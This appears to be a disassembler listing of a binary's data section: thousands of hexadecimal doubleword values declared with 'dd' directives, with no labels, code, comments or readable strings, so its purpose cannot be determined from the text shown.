		dd 0E1E93E88h, 6B14780h, 2E8A0484h, 0ED607574h,	0F519C821h
		dd 30530056h, 9D86CE0Dh, 70F6BE39h, 0F103B730h,	3C73E1A9h
		dd 0AB8AB533h, 0CF6182h, 9AD26A8Dh, 0B007A21Fh,	2F79BADBh
		dd 3E91F3C3h, 3B001CF6h, 4B61453h, 0B100E5D5h, 58B77178h
		dd 7067341h, 3749A8F3h,	6167C026h, 0BC00CBA1h, 40919F53h
		dd 146B340Dh, 0B85AF6A3h, 5F7747Bh, 28CC064h, 9129C076h
		dd 3F074A8Ah, 22952F27h, 0FBB83150h, 0C18C00FEh, 0EF53EA81h
		dd 49060329h, 69341775h, 0B6100341h, 0BF643367h, 0AB455EB8h
		dd 0E046EE00h, 134AD1F6h, 8128DCC4h, 5D172832h,	0DBFBDC7Eh
		dd 3C1F451Ch, 1120A418h, 87F70140h, 0FB04BE63h,	47608366h
		dd 0C8B9E2E0h, 303ECE3h, 0FAEBFD9Ah, 40E1C297h,	0A0B9F6h
		dd 127D7A04h, 3D1081Ch,	0EC852E3Ah, 7D9D922h, 1800E3E6h
		dd 0D3F83476h, 253509h,	8772563Dh, 0CC19AF40h, 589DF030h
		dd 1818CFD4h, 109548B4h, 3839573Ch, 819F83F7h, 80791DC9h
		dd 3F4B4410h, 89817041h, 0F9BE837Fh, 8CA0FA75h,	9C1F9E2Ch
		dd 3903F0E1h, 0C3197160h, 2E2346A7h, 1862D690h,	0F739406Bh
		dd 0B8A2100h, 508F41EEh, 0CE238D1h, 2F521380h, 0F13D6818h
		dd 8805C201h, 1DF70925h, 773EBF4h, 0D04B1A32h, 0D4479085h
		dd 2900B436h, 0C2B251B3h, 7A7025B7h, 50890066h,	59A047A3h
		dd 0BA033082h, 0F6D1ED22h, 8B73A88Ah, 9EB00029h, 89B72EE7h
		dd 0C6F4144Ah, 0B9E18800h, 0BF222521h, 0FF230963h, 54003881h
		dd 351A9E47h, 41567716h, 0C142DD00h, 7C4588E9h,	0BDB100FCh
		dd 2E6C36CCh, 41C61C0h,	0ED405658h, 18232214h, 0E71D005Eh
		dd 61AD7478h, 0A00059FEh, 71B4B905h, 0C86D50h, 475299DFh
		dd 1FBF0D32h, 0BD772F00h, 0ED407574h, 4DC23C46h, 2CDCC987h
		dd 0B33470F6h, 89743224h, 52E3C100h, 78284A07h,	0A603008Ch
		dd 0AF8877A2h, 2B000B05h, 90312485h, 404194h, 26B5895Eh
		dd 0A90ABFE2h, 96831900h, 2982B20Bh, 0B48F51C2h, 0ED512984h
		dd 7B9002E1h, 208E0484h, 804124B6h, 3B89EE8Dh, 812A22D6h
		dd 28871B23h, 22144951h, 66507F2Dh, 9B626428h, 22EF0529h
		dd 0E2228110h, 9AB2223Dh, 0DFC7E121h, 12E39201h, 7281107Eh
		dd 5A089D89h, 441A7D44h, 0B244083Ch, 5D1C88D9h,	2F00C590h
		dd 0D7B4B14Eh, 0FD2ABACh, 29928B65h, 0BD227C80h, 9F014CDAh
		dd 0FBB0EEE3h, 0EDF9A061h, 0C43598F7h, 0F01B001Ah, 37AA79F9h
		dd 0D90B1713h, 81BD86h,	0B1E6D536h, 8C1F0094h, 0DBE4EDC8h
		dd 0EC07BFB0h, 4AB87593h, 7A42B2A0h, 0E52D000Fh, 727D484h
		dd 3E0059EBh, 7565E84Fh, 0D2190h, 91B04402h, 0BB6C98C9h
		dd 7E715B00h, 0DEDAE7F4h, 6305E6FBh, 60FD107Dh,	7058C4C0h
		dd 639E1509h, 95C02028h, 66010Fh, 3FC50749h, 225C41B3h
		dd 0E2785800h, 0B7D27ED5h, 3C435871h, 0D49C2900h, 0C8E64F9Ah
		dd 0F6C59000h, 0BAFC69E9h, 0B17000C6h, 6811FB10h, 0D600FAB9h
		dd 3FB43586h, 0C7EE14h,	4C8A7B6Fh, 0E98DBFECh, 0F5217200h
		dd 0B1D869Dh, 1B7C0Ah, 5C3BE8BAh, 26A1AB3Ah, 53480400h
		dd 0F245D2E6h, 5AA500A6h, 0F559D057h, 64007107h, 0A80CFFDh
		dd 185C54E6h, 18CE1C7Dh, 301076Eh, 940F49B9h, 0D5FC046Ch
		dd 79370032h, 0F293FCE0h, 0CC1E677Dh, 6080F0C3h, 9ECB01CDh
		dd 0C72B005Fh, 0A6338B2Ah, 73EE2F3Dh, 1528E300h, 700BAA80h
		dd 547236h, 0D1E1684Fh,	0CB98E61h, 7F199E00h, 85FB6ECAh
		dd 579F006Dh, 49CF5AF1h, 160F2572h, 23192A5Eh, 0A8683C76h
		dd 1CE5D84Fh, 0C031B7A9h, 8BEC0DD5h, 0C8009A0Ah, 1DE14D6Ah
		dd 0F4C239EAh, 0F2300036h, 0E4F95FAAh, 1B5894E3h, 3E3F1F9Dh
		dd 0E0A1B78Fh, 2DCE2C5h, 995D165Fh, 7ADD1E3Ch, 80EE2A87h
		dd 8B38302Dh, 0AD00CF08h, 87773A32h, 0EDCF2E6h,	70E34E35h
		dd 0A04AD447h, 652A4D5Ah, 23BA1600h, 38CB418Fh,	0E9B3007Ch
		dd 0F23CD179h, 0E03C9C15h, 26E0066h, 9ED7267Eh,	64EA1F0Ah
		dd 89A98016h, 0C956277Dh, 153C0709h, 8F0400D5h,	0E2BEE2FDh
		dd 50910126h, 83F86DB9h, 0D01AF86Bh, 14DC8000h,	0EAE18530h
		dd 3650034h, 18F0AB25h,	47002787h, 83DF1F7Ah, 0CCAC5Dh
		dd 6FEE917Fh, 4ACB6574h, 28BD6D02h, 401B96E2h, 0DEB403h
		dd 60FA2902h, 2B82F4D1h, 9FE82A01h, 0A5B9C672h,	6AD7F0h
		dd 1219536Eh, 0DB37628Ch, 0D91DF072h, 0BD805E49h, 7722658Ah
		dd 8B848C7h, 0F81DC000h, 0AE99A481h, 57ED8C00h,	44FB1A60h
		dd 0A5510026h, 0C25633B7h, 7A00D476h, 0E9927705h, 1E7F2h
		dd 356FBD1Ah, 9E520291h, 0C1D0511Ch, 428108E0h,	0D050AA99h
		dd 6F6C04A7h, 7AF863h, 0E8AABD88h, 0D82500AEh, 4010815Eh
		dd 0EA003EDAh, 1B174421h, 0E204F650h, 2ED43EE7h, 68AB12h
		dd 9C4C3737h, 450F1681h, 67CF70F7h, 97401178h, 146F530h
		dd 506C1D71h, 2A606942h, 8AB2FE80h, 0E87400B9h,	0D59A662Eh
		dd 8000FE11h, 0D1AEDCA8h, 7347EFCh, 0F80A1935h,	0F163302Eh
		dd 7D00E394h, 49E41387h, 489BD8h, 0DA84ACD1h, 0B947C51Eh
		dd 997D2307h, 0F2606E73h, 90FB27h, 11325D04h, 6150F12Dh
		dd 24028774h, 92B6284Dh, 8CC480DAh, 0FE9960h, 17E9FC1Eh
		dd 3613EB59h, 375AD600h, 86CA2070h, 0D2050012h,	4878175Eh
		dd 0A600E4DBh, 523E4DB8h, 1D6A9E3h, 0BCD276C3h,	35C0DF9h
		dd 0A8C0C89Dh, 48020192h, 88015FE3h, 0FBB82040h, 0F81E8400h
		dd 67C03CB6h, 973B1656h, 4F3C01ADh, 2078B97Dh, 5C00EF49h
		dd 0B6EA3D05h, 38DA1DCEh, 0C609894h, 7E7F5A7Dh,	9DEEF200h
		dd 92698750h, 2D6E000Ah, 0D9F73DC0h, 0AE0F45BDh, 40C4D42Fh
		dd 1EE148E7h, 413B031Dh, 0BCB36F69h, 6A4613B8h,	0E6030D7Eh
		dd 63FC426Dh, 0FB709FD2h, 57219FEh, 4A929EE3h, 53A580A5h
		dd 0F9E46BDDh, 7DF0B707h, 0F291D211h, 7E607718h, 98ED00A4h
		dd 64A8887Fh, 6F003C05h, 0DD756D1Ch, 0C2EF4Eh, 89C91EA2h
		dd 0AC2C1B4Fh, 8A0F2F00h, 45067DCh, 93651349h, 0CA3C1898h
		dd 2001259h, 0F4C5161Eh, 0EE216081h, 37C30125h,	68491A8Fh
		dd 13318050h, 539246E6h, 0F0B8C007h, 82DA7D24h,	785C5509h
		dd 0C54CA080h, 1F843733h, 43D7E619h, 91CFAA87h,	41DD24E9h
		dd 0C00A4DBBh, 0D0704138h, 5AFE4400h, 0EC3BE7FDh, 111FE83h
		dd 0CFD7FA7Ah, 0DE50950Ch, 0BE32E960h, 0C3CE3A00h, 2576F051h
		dd 9045FE3Bh, 0FF6A00F3h, 0E59BD637h, 0C03DD71h, 53C66938h
		dd 0FF5D008h, 298000ECh, 309341F6h, 700F1849h, 0C05EF7CBh
		dd 0F1101EA1h, 0A82A03E6h, 4F563F2Dh, 0C77636B0h, 0E4541D01h
		dd 7D01CA60h, 7E3203D7h
		dd 46C05BF8h, 20766BB8h, 268038h, 92AF9181h, 0C11B44Fh
		dd 4601FD7Eh, 52075F2Ch, 1B6F8C88h, 0ABEBD680h,	0AC3200BDh
		dd 9D197780h, 2100C524h, 0EA4C38B4h, 73A0D53Ch,	0E748075Ah
		dd 206FAE0Bh, 0D70F25ADh, 98B4EE00h, 0DC5C6DD8h, 111A039Bh
		dd 77EB2276h, 37A14788h, 4270321Ch, 20E180BFh, 61ECB98h
		dd 3AB10075h, 2C381DFDh, 311E5081h, 0E040ECE2h,	3937220h
		dd 4A58009Ch, 3708FBEAh, 0FE0168D7h, 0BD9E6DB8h, 0F3F8E3E9h
		dd 247304E0h, 0C00470C4h, 0EFA1F19Dh, 0D1BE1B1Ch, 783753C0h
		dd 37D15AFh, 59F66FCh, 93A9BF38h, 0F899DC07h, 0EB72F600h
		dd 0D9A48E1Bh, 0BCC50082h, 0D2280133h, 2700B8CEh, 46FFAA3Bh
		dd 1799A7Bh, 0D3E323BBh, 0D47120B6h, 4092271Ah,	2D7F8AF8h
		dd 5DC14D00h, 85317540h, 77FEF48Bh, 0FFC600D7h,	66AE8632h
		dd 0B0E394Ch, 40F61AF0h, 0B2608F46h, 0FDCB005Bh, 98E1EE56h
		dd 0B60397D3h, 94B916CFh, 665DF85Fh, 634D0927h,	9C50DF6Ch
		dd 246A5E0Ah, 4C00A04Bh, 32037FDEh, 14230B74h, 28892938h
		dd 0CBF87680h, 8D001A5Dh, 3CAAFFCh, 1C1532Dh, 0D1A48492h
		dd 0D3C6D222h, 9E7ACEC8h, 0ECF8E305h, 0A000EA56h, 0BFE09B1Dh
		dd 18F90093h, 7DFEE1F4h, 9C042D22h, 3DCD0C3Ah, 0F6E67CC1h
		dd 1EF44BC0h, 0E48DB830h, 0A5400020h, 0C7D45328h, 0DD0E7E1Eh
		dd 0FBB63080h, 96F40Ah,	5B6A5748h, 0BD3FA8A4h, 0AE247F03h
		dd 775546EFh, 0FE9E00D8h, 6FC856C0h, 6612C17Eh,	502D4F63h
		dd 5C006AC9h, 0A7057D45h, 0A09A29D3h, 0E2D26680h, 0BDF30E46h
		dd 0E0EE5A54h, 4F55BFE0h, 0A03C3C4h, 0A0ADB87Fh, 9834A8E7h
		dd 64660006h, 2ED8C630h, 500036C7h, 8B3FA27Dh, 0F11CB4h
		dd 306333C4h, 9EA1CB95h, 6BD01D2Ch, 0D537AE09h,	64880300h
		dd 0E0013AC4h, 3DEDEBD9h, 0E0EB4DBEh, 9D1FCBh, 4FE99C53h
		dd 9517DD6Ah, 0DA353901h, 8A46A907h, 1D63BFD8h,	4BC49048h
		dd 0B3091301h, 73152D80h, 12002AEDh, 74E88B97h,	2E5D0h
		dd 0E28D7E7Ch, 6E3A160Eh, 0A30041E4h, 29D24DA4h, 54EE25h
		dd 2A6F5563h, 0F7F6B3B8h, 2887F326h, 4D32803Dh,	19EE2030h
		dd 34EB005Fh, 0A9BDD623h, 0DCFC2559h, 0B53899E0h, 82A5023Ah
		dd 63ACEEE2h, 88CEEBDDh, 0F8307AC8h, 0D74F009Ah, 0A277AB64h
		dd 8678E0B4h, 0F74B0800h, 1C0D0155h, 0FAA1003Fh, 18C05E97h
		dd 0A80029A9h, 6CF34B81h, 0E4807E92h, 8B2D0179h, 4A970A05h
		dd 84E860DEh, 75D1AB00h, 0B0422317h, 0AC520E31h, 6F80F04Eh
		dd 7F591868h, 0D1FDAA00h, 21900F76h, 117C02D3h,	77E68353h
		dd 0BCFE2860h, 65816F02h, 0C04815F3h, 22BDD5E8h, 0C8007DA4h
		dd 3212732h, 1ACE2C3h, 346FD9A0h, 20901DE8h, 0FA205450h
		dd 36CB1657h, 3C3C407Dh, 9F010B62h, 0D81CF700h,	72DC76DDh
		dd 698F0753h, 3087CD2Ch, 0A8F48D5Dh, 3F670140h,	3F80E3C4h
		dd 0D5A2055Ah, 0CC02C7BFh, 1B5BE754h, 961460CEh, 13661EA8h
		dd 9115C0B2h, 0DE3F5C42h, 0EC0D6B00h, 4727FF49h, 5F1D01BDh
		dd 0A0659E90h, 0C24883EFh, 0E074DBC8h, 5B9B34h,	17F61B92h
		dd 56585746h, 554139h, 64D4FF6Eh, 201C0B0h, 6DDFB28Ch
		dd 0BC80D11Eh, 0DAAF8F98h, 6681E902h, 0E0DE6504h, 7BB1F39Ch
		dd 0BA7F3Dh, 7E696DC9h,	2C7CB349h, 8F21A739h, 20E2975Fh
		dd 9A597666h, 399E002Bh, 0D9185636h, 0D000B9E5h, 0DE33DDC0h
		dd 0B8D3804Ah, 9F233A3Ah, 324FC68Fh, 0CACF75C0h, 45143A8Eh
		dd 1C0A3E0h, 5EF12A21h,	8427B6E2h, 0EF49C000h, 5426B8A0h
		dd 3DB95B3Fh, 28D100B5h, 4A04558Ah, 14A9007Ch, 0CB5FF7C2h
		dd 320736CFh, 4CDF1F21h, 47BEEAA1h, 0F11C8D4h, 158AD8B4h
		dd 0BAC42B80h, 901F2941h, 8FFB511Fh, 80654877h,	4CA6B4F4h
		dd 6D8500B5h, 0CF6CEF89h, 0F8003A23h, 0E524201Ah, 18AAE4D9h
		dd 0B8E3E747h, 0D00D238h, 0EBF97618h, 1868B7B3h, 885586B0h
		dd 831764E1h, 8C5E2231h, 0A6B292C5h, 0AAE5F880h, 49CA65C1h
		dd 26804356h, 77886ED3h, 7300B521h, 28EC3A7Bh, 7166BE44h
		dd 57B2Ch, 221667BDh, 9EC9E5C6h, 0AD008A79h, 98DD6F2Bh
		dd 3ED1FBBh, 3915259Ah,	0C9F0047Fh, 7D00896Eh, 0CB53D131h
		dd 7A3427h, 0BB9DB337h,	147BC022h, 808020FFh, 390C7C00h
		dd 6B18575Eh, 0D3913B86h, 75BD4980h, 0A7E3660Eh, 0F824B00h
		dd 62DDD93Dh, 292F0060h, 0D8FEB26Bh, 0B55910A4h, 0C24C60h
		dd 0FD61AE3Fh, 137DE2AFh, 0F918C18h, 77418F58h,	0CCD141DDh
		dd 0AF4CF7D9h, 489004Ch, 9A152E11h, 0FF900034h,	7BC7828Fh
		dd 0D000DED2h, 49EF090Bh, 6BE4C1h, 2CB4542Eh, 5798F62Fh
		dd 0A1C52500h, 0AC082734h, 47C81F9Bh, 0D3BEC78Bh, 31D167E6h
		dd 0D4529135h, 550E6CA7h, 2E34E222h, 1CA40029h,	925AF2Ah
		dd 72183E49h, 2C4AC0C0h, 0C0945704h, 0F9876F76h, 7BA8C1E9h
		dd 23006029h, 4ABE4BB4h, 0A300A84Fh, 4D4106B5h,	96B61B0h
		dd 0EB24F8E7h, 0B24E7B80h, 0CFF29D6Eh, 0A37D000h, 0F719B012h
		dd 606A07BCh, 8465F045h, 83108374h, 4C6029D7h, 0FAFA1B52h
		dd 3097E25h, 991C848Ch,	0E0DE5FEBh, 13899B8h, 155B8D14h
		dd 0F478EE86h, 0B8725DE1h, 0D100897Ch, 3430297Ch, 0AB8EB9h
		dd 0B7E63B23h, 82F22855h, 1FE8C58h, 0F9E9C162h,	4DFC91FDh
		dd 4498F7h, 8B641AECh, 2215C911h, 0B2065B0Ch, 19680Ch
		dd 0DF33925Ch, 18603BF2h, 3279E500h, 9824A48Ch,	0EEB40331h
		dd 6619A66h, 7DE4BC0h, 7C04A4Ch, 4FDBFA10h, 780DDF91h
		dd 0F896BE43h, 0EC2BB13h, 391DCF37h, 97E5BAC1h,	46146456h
		dd 38B58213h, 8347C487h, 64DDE1B0h, 43932E87h, 0D2191F7Ch
		dd 0F01C8C47h, 9E737801h, 0AC4CC3E4h, 0ECD7B9D0h, 802D4802h
		dd 8C3C9900h, 13BA4521h, 70D8DB07h, 0B4D2A88Ah,	34BB61B0h
		dd 1218C670h, 7F0E3FBh,	0E04EB3E0h, 5DCD816Dh, 0A0948600h
		dd 0D5FF11DFh, 0AE6F0040h, 324BD763h, 0B400EB96h, 55A45F3Dh
		dd 7FF9B6h, 0BBC3B748h,	13C8A4Ah, 0BA504300h, 4C9AA98h
		dd 253D003Fh, 94AF4D1h,	997E55ADh, 70102098h, 0DB00E44Eh
		dd 1C36D07Fh, 0B998D668h, 8EB34D00h, 94A761B4h,	8F9204ADh
		dd 0C00B2F2Ah, 0C5D91288h, 181A900h, 784E4379h,	0EDB60E9Ch
		dd 0DC20F2B5h, 8EC7F9Bh, 3EB7E212h, 0A415D84Ah,	56C09E6Fh
		dd 2EF04BE0h, 4F70061h,	991FF851h, 7F003630h, 4DDE97C7h
		dd 1D8EDFh, 29CC0C9Bh, 9218F026h, 2FAC7126h, 2ADE2C00h
		dd 21532Dh, 0A9B57376h,	79DDB8Ch, 38045EF6h, 0AEDF3416h
		dd 0D30098F2h, 21F35CDDh, 1C04CA94h, 0A7AF92A2h, 6B60C880h
		dd 37FCFCh, 15DE0362h, 5FBC45E5h, 0D857720Fh, 0B821802Ah
		dd 0AE0522h, 0D38E2476h, 499FA0DFh, 1B84D700h, 0E7F83EC3h
		dd 123800EBh, 0E13F2270h, 4000D6E9h, 4173A4EEh,	902D5F66h
		dd 0A603FB4h, 3B83F780h, 0BD409380h, 0F4E5253Fh, 1BB738h
		dd 539EDBF4h, 0E8BC26F2h, 704C0EE2h, 0EF404144h, 12F53D7Ah
		dd 0AE4BDA0Eh, 6AEE605Fh, 25FF7Eh, 0D7E11A19h, 5D7C788Eh
		dd 7960AF03h, 0C00C433Bh, 0E453376Fh, 1EB30099h, 5EE6B710h
		dd 3A7FF64Ah, 250F4898h, 21F32BCBh, 18C86A30h, 2B60C3C5h
		dd 0C4770761h, 80F5D198h, 0CC6A1675h, 2F3B0F01h, 0BF34A311h
		dd 68A5B880h, 811BE2EDh, 5BA8FD0Ch, 3DE18BEh, 0E6E7AA13h
		dd 0CD90A107h, 0FF24BB9Ah, 5F00A0D6h, 90792AFEh, 0E1150019h
		dd 6DD19E01h, 7600CBE5h
		dd 0F5BE70ACh, 0D968A3h, 12E284F9h, 0BBCE344Ah,	55023B00h
		dd 46F05F1h, 0FF818B1h,	9CBE503Ch, 0F6A44C00h, 0FDB74D2Eh
		dd 46F0E7h, 854B17A3h, 82864ACh, 313FC000h, 0E3768071h
		dd 152A00CDh, 0B07A585Ch, 83162CABh, 3EA4650h, 0C8988EADh
		dd 0F1EE80D0h, 0A42EB400h, 0D15B71E9h, 3A750760h, 0A03F674Eh
		dd 796A2914h, 0EF8DF600h, 233489FDh, 377B0052h,	0FB33274h
		dd 0B80015BFh, 249FC78Ah, 144D0D3Ah, 0E4734F60h, 0ADD4ED25h
		dd 6C3E2E00h, 44841Dh, 9F468F4Eh, 7C3B831h, 7C53A20Eh
		dd 79CF00E4h, 1EC45FD9h, 0C7EFA829h, 30DAED16h,	92A22FAh
		dd 5AE81400h, 72B78B46h, 3C96483Ah, 0A16C3200h,	6939E1EEh
		dd 82A8B0C5h, 0B30B7D80h, 2AD21CD7h, 346F00D1h,	0C7A7BB09h
		dd 0C8CF2C00h, 8722DB3Eh, 1ECE442h, 9DB8496Ah, 2009945Dh
		dd 0A3066B6Bh, 5BCCFFD9h, 50C800D0h, 54CE10F7h,	2F00F6DAh
		dd 0A26995EEh, 7D5C4Bh,	0FE73EABh, 0A420BA5Eh, 860079FCh
		dd 6822ADC4h, 0BFB2F49h, 7B1A0117h, 0D2F74D00h,	0C1004050h
		dd 57116930h, 39D8824h,	3ABE80F5h, 78581BC3h, 0C463011Ah
		dd 0E0A276EAh, 3602F8BAh, 423DA794h, 0B94ADB60h, 0C1EBDA00h
		dd 184B1EBBh, 7F3E00ECh, 58CB2006h, 0BE03F73Ah,	51FC37A9h
		dd 4ABDF0B2h, 83D0004Dh, 39E61C35h, 92008971h, 3CDCF4E2h
		dd 5DF896h, 70404304h, 0D7861B9Bh, 6C987C00h, 830CA837h
		dd 82CD0239h, 0FCF99E4Fh, 0C1108FC0h, 7400B3E6h, 0A222E6FAh
		dd 0E8A6E5h, 888A9BA7h,	0BD318FEEh, 2798CB00h, 4A176FFDh
		dd 80FE60BAh, 4FA55D5Eh, 533FDA00h, 3C6989AAh, 0EAB3036Ah
		dd 28747B0Ch, 1EE61148h, 0DA405A94h, 0DE247F48h, 0D8FB0166h
		dd 92B962D3h, 0F91DCC30h, 0A9781660h, 1DD5BC5Fh, 8029A011h
		dd 0D1613F89h, 4F00E7AFh, 95BCF51h, 772428h, 4B8DE8BAh
		dd 6FCAA0F3h, 784A3Bh, 0E4A7A954h, 28E3E0CBh, 0FAB44D66h
		dd 0DCCD108Ah, 0B1EA0235h, 0E0E3572Dh, 0A03D03CDh, 1C9E3798h
		dd 18D5E77Fh, 9076E8E4h, 0EE50F000h, 843D15C0h,	2BB700A9h
		dd 0FF3C93E9h, 8500697Bh, 30880CD4h, 550654h, 429ACFB7h
		dd 0D513EFDFh, 61011BECh, 0DBABEA2Fh, 0C0D02017h, 3E4F3E6Ah
		dd 5AFF6703h, 3BE17543h, 4099FD6Ch, 0B3E61E84h,	5FF5720Eh
		dd 0E9D32002h, 11DC918h, 0C0D6AFDh, 0CC0EC48Fh,	540226C8h
		dd 0E551F182h, 329EC092h, 3FE00075h, 5C64B95Dh,	8D3B53DBh
		dd 0F63E0090h, 614723B8h, 12697BC1h, 406CDD1Eh,	0C7813A40h
		dd 0EE7EBFA7h, 1949D430h, 0BE6625h, 0D3A52E98h,	0A48DACD6h
		dd 3B879C0Ah, 0CE00B0BAh, 34D20ABh, 0E7230079h,	3E67A2ACh
		dd 0F500C407h, 259DDB4h, 0C8E81Ch, 63CA8E3Bh, 9AF2ECF3h
		dd 0DE54921Eh, 60CCD78Fh, 9D8306ABh, 7520905Fh,	4F780EDAh
		dd 46CFCA22h, 0F1561CC0h, 8D086037h, 1EA0A3ABh,	200E2D0h
		dd 3AF5BD82h, 384EDF76h, 340F58AAh, 15017857h, 0CBD8BB4Ah
		dd 80CE5680h, 0D22E9A01h, 6FD5A7DEh, 3CB27E8h, 7A044703h
		dd 80872B58h, 0A849EBF1h, 83B56900h, 83C9514h, 0BE7C0084h
		dd 930A26A6h, 0FB028DB9h, 6437C02Ah, 0AC9C80D0h, 2476739Fh
		dd 1D28F966h, 93320042h, 16E0DBBDh, 80124B3Eh, 0D1AFB472h
		dd 74922566h, 915C1DA1h, 0B33EC098h, 0C9106A0Bh, 0C8ADE9A1h
		dd 72001ECCh, 5EE30F83h, 0C0853E11h, 8AF2B1F8h,	3000823Bh
		dd 1A05F598h, 0CA1331h,	834EEFB9h, 19FFDDEAh, 6854E200h
		dd 0E68AEBABh, 0DB9B00A4h, 5F82DC4Bh, 2E72D863h, 0BC004E7Dh
		dd 78327D7Eh, 0E1BCEA3h, 0AC849F7Ch, 20C7A5h, 42ABF094h
		dd 41008A75h, 63F547DDh, 140476EEh, 0C0F73307h,	969E4300h
		dd 816E2BB9h, 45ED2E17h, 15E714h, 0DAA6F008h, 50A9047Ah
		dd 3BAC4Ah, 5AB8CD8h, 0E9F0E6BDh, 78DC9800h, 14106B1Ah
		dd 74C8000Dh, 2579F75Ah, 5C00C443h, 0BC1E11F4h,	3D22919Eh
		dd 9A28A7A6h, 1D8403C8h, 9BD422Bh, 8B0FB7B0h, 8AEC291Ch
		dd 0CC216D41h, 0E4F896CAh, 439CC7h, 778E64C2h, 0A4789F5Eh
		dd 0CD154700h, 0F339511Fh, 97561440h, 8900ECF8h, 9A03ED8h
		dd 52005EE8h, 14030E83h, 947B7Dh, 0DC1F307Ah, 4370EED7h
		dd 0AF337100h, 7C19E403h, 3D4A001Ah, 90617D5Fh,	8C002C31h
		dd 0CB69E6D4h, 15DBE430h, 0C488B349h, 6048F63Eh, 0EE1F2800h
		dd 1CA5CE55h, 0A2EFCF8h, 7D00C23Fh, 4D63533Eh, 813B0733h
		dd 40966A65h, 110516CDh, 0EF24FE00h, 0F5CC8ECEh, 0E97EFDh
		dd 0EED15283h, 63061DB7h, 80C53538h, 0ACBDC47Ah, 0FE540D0h
		dd 0F99C7938h, 3BAF480Ah, 590213h, 0A0AD05DFh, 1C00EBE8h
		dd 61C7C924h, 3A5EC53Dh, 0FB8025CEh, 0A39C5DEEh, 1B0049E3h
		dd 2A616F2Ch, 2ED90763h, 51F78Ah, 419AAADBh, 8600D1A5h
		dd 0A9AD80E6h, 0F8833Eh, 0FB2C789Eh, 0F4B01B0Fh, 0CF0033E0h
		dd 0C1088DB8h, 537788h,	0F3D4B2E0h, 0FD2E20D9h,	0EFAC6300h
		dd 2DBD48E2h, 0BC7A009Dh, 4D913618h, 9F87199h, 0FC424509h
		dd 0EC1880E4h, 0FEDE16F3h, 29BD005Ah, 171CC2C0h, 0A000353Ah
		dd 0D3A9BB84h, 1861D719h, 985F336Bh, 75ECE58Bh,	0DB0A52F4h
		dd 0D8D3EDF6h, 1781A000h, 0A9897Ah, 0BA05960Eh,	0EA09E50Fh
		dd 1E50704Dh, 30419D64h, 22EDEE8Fh, 3741B630h, 8720813Dh
		dd 0E1CA77h, 9EC00E97h,	8EB8FAE1h, 4363590Fh, 98880DAh
		dd 1DFE06DBh, 800E93F9h, 0B500D62h, 0E009FDA3h,	0E9DE43Eh
		dd 92818263h, 2848A2ACh, 0FD7140DBh, 625B0150h,	0E4CBF7DCh
		dd 0BFC60A9h, 0CF773C00h, 3EFF9DABh, 6C5E8ACh, 552AD640h
		dd 9B01484Eh, 0F1FDB50Bh, 2FFC05BEh, 0D32D00B0h, 0FB0CC059h
		dd 0D70794E8h, 30705040h, 0F79A3AA0h, 373300FCh, 8F84D969h
		dd 4A003D2Fh, 0CC678C4Bh, 3A1F5408h, 210043E2h,	0B5B43304h
		dd 0F400E63Ah, 25C46F1Ah, 7F96E3h, 70DF9445h, 0B9CD8DE5h
		dd 0DC47FE0Fh, 0BC71004Ch, 8BEA74h, 1D405E44h, 7659510Ch
		dd 6ADB0A0Eh, 0E05DAEF9h, 0F7C3A302h, 811A0F74h, 3D81F4E1h
		dd 82A0B67Dh, 5F9B8318h, 1E1044C1h, 40C6F9C9h, 0E5EEDF22h
		dd 8CCB72Ah, 7021F2h, 0EFC9C6E0h, 0E2F8ACA2h, 0F32FF700h
		dd 0A87BD66Eh, 85BE027Eh, 0D30FFE3h, 8F42A080h,	8B68A265h
		dd 8899BC70h, 0FE186478h, 225EC608h, 4F0EC4C7h,	0AC40FCBFh
		dd 21395863h, 547D00F3h, 9C7F133Bh, 0EC0504FAh,	713E6632h
		dd 0C05B6C08h, 2253C6EDh, 30A9FF2Bh, 0CB03C2ACh, 0A0FC5F92h
		dd 0F9FA8661h, 2881C8BCh, 9123D8E8h, 43A0401Ah,	400FD4A8h
		dd 804E5802h, 6C19E1DFh, 60B703E8h, 85D54B31h, 3B946AF8h
		dd 0B0955E07h, 1CC78B8Dh, 6EAD004Fh, 9F2E52h, 86D637A7h
		dd 0FF93E548h, 8B730F00h, 9528E945h, 650331ADh,	15F51329h
		dd 280CE587h, 42228461h, 191F4266h, 4D51F6F7h, 2944EE08h
		dd 0E3D0447Bh, 84893744h, 602B6F22h, 0CC8C2967h, 0B55C6599h
		dd 0B0A20045h, 3FE21B72h, 0C99D50C8h, 7B64000Ah, 0EC2725ADh
		dd 0DF9893D8h, 6C67E8E7h, 0EB2F6F0Eh, 0E1EF622Bh, 6D81F7DEh
		dd 0D46BA87Ah, 48006129h, 6D8DC91Dh, 0F9AEB13h,	0D38FB80Fh
		dd 753C89E0h, 9C70B190h, 1A03BF7Ah, 0A82F135Fh,	393C1DCh
		dd 604FB520h, 73B938ECh, 0EA0032C6h, 616EE21Ch,	0F46D6Ah
		dd 0B49B266Fh, 0F6DC351Dh, 9FF3000h, 0F58A5BE1h, 9E3B1C93h
		dd 7E00045h, 8E0412D1h,	43EAFC60h, 342D5Dh, 75A610B7h
		dd 572C535Bh, 3B60C15h
		dd 6D000F0h, 0CAE3ACEBh, 0B4A100E1h, 18ADE56Ah,	5803CCBBh
		dd 4724EE03h, 0B660EFA0h, 344A57h, 18708EF0h, 5C736B2Eh
		dd 80B5A839h, 63D0C1A6h, 0DDCB0Ch, 8BEF444Fh, 0FAB94DA4h
		dd 944CAF0Ch, 0F98580EAh, 0E1C96710h, 2DF1D500h, 0C5292F2Ah
		dd 785E009Eh, 3796CFB3h, 0E30064AAh, 10345845h,	609FD491h
		dd 0A33F6AB7h, 8C3D6130h, 0C5A8804Dh, 0FCA63606h, 0CD33CDFh
		dd 4FC18500h, 6DAEA22Bh, 8E80DB05h, 0B800BB09h,	0BDF951Ch
		dd 5A260030h, 1AA5F904h, 15013944h, 34B70E8Dh, 0A640DBA7h
		dd 75106F8h, 92F672FAh,	8596A59Dh, 0A6741E7Fh, 81AE1C8Eh
		dd 198A3078h, 0F188746h, 0DE3083E0h, 6C11EEh, 96D562EFh
		dd 2DB85D0Ch, 2A001BE2h, 980DBF93h, 0EC480FCAh,	4F2B0001h
		dd 0D3234C8Fh, 3B3A2186h, 0C84874h, 0BBA766B2h,	755D171h
		dd 0AE0840Ch, 0E31A62E2h, 0A1881C40h, 23181498h, 0BEF0936Ch
		dd 4D0700D2h, 79F559FFh, 353C9E1Bh, 2A188039h, 24770C1Eh
		dd 0A093D13h, 47D7C301h, 0C86843CEh, 0C4F051A6h, 0F02238h
		dd 90DA01E3h, 125BACD4h, 1F61F2Ch, 4835DF3Eh, 1611CC56h
